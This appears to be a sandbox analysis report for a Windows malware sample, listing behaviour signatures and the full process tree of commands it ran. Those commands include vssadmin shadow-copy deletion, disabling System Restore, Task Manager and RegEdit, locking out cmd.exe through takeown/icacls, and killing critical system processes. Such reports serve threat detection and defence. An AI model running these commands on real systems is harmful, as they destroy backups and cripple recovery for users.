Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/11/2026, 04:34

General

  • Target
    c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
  • Size 644KB
  • Sample261103-e7a1asst6j
  • SHA256 c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Possible privilege escalation attempt 22 IoCs
  • Modifies file permissions 1 TTPs 22 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
    "C:\Users\Admin\AppData\Local\Temp\c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\SYSTEM32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
        PID:1168
      • C:\Windows\SYSTEM32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        2⤵
        • Disables RegEdit via registry modification
        PID:2816
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Windows\System32\eventvwr.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1208
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Windows\System32\eventvwr.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4984
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Windows\System32\cmd.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:5992
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Windows\System32\cmd.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5036
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Windows\SysWOW64\cmd.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:5788
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Windows\SysWOW64\cmd.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:540
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Windows\System32\conhost.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1644
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Windows\System32\conhost.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1436
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Windows\SysWOW64\conhost.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:5996
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Windows\SysWOW64\conhost.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2364
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Windows\System32\OneDriveSetup.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1068
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Windows\System32\OneDriveSetup.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1684
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Windows\SysWOW64\OneDriveSetup.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2100
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Windows\SysWOW64\OneDriveSetup.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1296
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Program Files\Microsoft OneDrive\OneDrive.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2708
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Program Files\Microsoft OneDrive\OneDrive.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2704
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3668
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5764
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Program Files\Microsoft OneDrive\FileCoAuth.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:5756
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Program Files\Microsoft OneDrive\FileCoAuth.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1132
      • C:\Windows\SYSTEM32\takeown.exe
        takeown /f "C:\Program Files (x86)\Microsoft OneDrive\FileCoAuth.exe" /a
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1488
      • C:\Windows\SYSTEM32\icacls.exe
        icacls "C:\Program Files (x86)\Microsoft OneDrive\FileCoAuth.exe" /deny Everyone:(X)
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3564
      • C:\Windows\SYSTEM32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\OneDrive" /v DisableFileSyncNGSC /t REG_DWORD /d 1 /f
        2⤵
          PID:5292
        • C:\Windows\SYSTEM32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\OneDrive" /v DisableFileSync /t REG_DWORD /d 1 /f
          2⤵
            PID:5104
          • C:\Windows\SYSTEM32\reg.exe
            reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v OneDrive /f
            2⤵
              PID:4004
            • C:\Windows\SYSTEM32\reg.exe
              reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v OneDrive /f
              2⤵
                PID:3336
              • C:\Windows\SYSTEM32\reg.exe
                reg delete "HKCR\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" /f
                2⤵
                  PID:3096
                • C:\Windows\SYSTEM32\reg.exe
                  reg delete "HKCR\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE7}" /f
                  2⤵
                    PID:208
                  • C:\Windows\SYSTEM32\reg.exe
                    reg delete "HKCR\onedrive" /f
                    2⤵
                      PID:4548
                    • C:\Windows\SYSTEM32\reg.exe
                      reg delete "HKCU\Software\Classes\onedrive" /f
                      2⤵
                        PID:436
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /delete /tn "\Microsoft\Windows\OneDrive Standalone Update Task" /f
                        2⤵
                          PID:4888
                        • C:\Windows\SYSTEM32\schtasks.exe
                          schtasks /delete /tn "\Microsoft\Windows\OneDrive Reporting Task" /f
                          2⤵
                            PID:2224
                          • C:\Windows\SYSTEM32\vssadmin.exe
                            vssadmin delete shadows /all /quiet
                            2⤵
                            • Interacts with shadow copies
                            PID:3960
                          • C:\Windows\SYSTEM32\vssadmin.exe
                            vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1%
                            2⤵
                            • Interacts with shadow copies
                            PID:1160
                          • C:\Windows\SYSTEM32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
                            2⤵
                              PID:5316
                            • C:\Windows\SYSTEM32\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
                              2⤵
                                PID:5152
                              • C:\Windows\SYSTEM32\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:1852
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  taskkill /f /im winlogon.exe
                                  2⤵
                                  • Kills process with taskkill
                                  PID:3024
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  taskkill /f /im wininit.exe
                                  2⤵
                                  • Kills process with taskkill
                                  PID:5112
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  taskkill /f /im smss.exe
                                  2⤵
                                  • Kills process with taskkill
                                  PID:4832
                              • C:\Windows\system32\AUDIODG.EXE
                                C:\Windows\system32\AUDIODG.EXE 0x154 0x2fc
                                1⤵
                                  PID:2384
                                • C:\Windows\system32\vssvc.exe
                                  C:\Windows\system32\vssvc.exe
                                  1⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5924

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      memory/4860-0-0x00007FF732A30000-0x00007FF732A77000-memory.dmp

                                      memory/4860-1257-0x00007FF732A30000-0x00007FF732A77000-memory.dmp

                                      memory/4860-7373-0x00007FF732A30000-0x00007FF732A77000-memory.dmp

                                      memory/4860-8909-0x00007FF732A30000-0x00007FF732A77000-memory.dmp

                                      memory/4860-8910-0x00007FF732A30000-0x00007FF732A77000-memory.dmp

                                      memory/4860-10543-0x00007FF732A30000-0x00007FF732A77000-memory.dmp